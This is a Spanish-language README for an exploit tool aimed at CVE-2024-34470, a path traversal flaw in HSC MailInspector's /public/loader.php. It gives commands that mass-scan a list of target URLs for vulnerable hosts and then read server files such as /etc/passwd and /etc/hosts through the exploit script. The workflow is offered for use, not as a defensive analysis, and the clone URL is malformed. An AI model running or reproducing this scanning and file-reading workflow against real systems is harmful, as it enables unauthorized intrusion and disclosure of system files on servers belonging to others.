HSC MailInspector - CVE-2024-34470

Se ha encontrado una vulnerabilidad crítica en HSC Mailinspector hasta la versión 5.2.18. Esta vulnerabilidad afecta a una funcionalidad desconocida del archivo /public/loader.php. La manipulación del argumento 'path' con una entrada desconocida conduce a una vulnerabilidad de path traversal. Según CWE, este problema está clasificado como CWE-22. El producto utiliza entrada externa para construir un nombre de ruta destinado a identificar un archivo o directorio ubicado debajo de un directorio principal restringido, pero el producto no neutraliza adecuadamente los elementos especiales dentro del nombre de ruta que pueden hacer que la ruta se resuelva a una ubicación fuera del directorio restringido. Esto afecta la confidencialidad, la integridad y la disponibilidad.

Instalación

Clonar el repositorio:

git clone https://CVE-2024-34470.git
cd CVE-2024-34470

Instalar las dependencias

Asegúrate de tener Python y pip instalados. Luego, ejecuta:

pip install -r requirements.txt

• Esto instalará todas las dependencias necesarias para ejecutar el script.

Uso

Descripción del Script

Para realizar una búsqueda de múltiples objetivos usando un archivo de texto, usa el script Massive_CVE-2024-34470.py

$ python3 Massive_CVE-2024-34470.py urls.txt urls_vulnerable.txt 2>/dev/null

El formato en el que debería estar el archivo urls.txt es el siguiente:

https://10.18.97.2
http://domain.com
https://192.8.7.2:4443

Una vez identificados los objetivos vulnerables, usamos el script llamado CVE-2024-34470.py para explotar y mostrar el contenido especificado a través del terminal.

# Read file content passwd
$ python CVE-2024-34470.py http://example.com /etc/passwd 2>/dev/null

# Read file content hosts
$ python CVE-2024-34470.py http://example.com /etc/hosts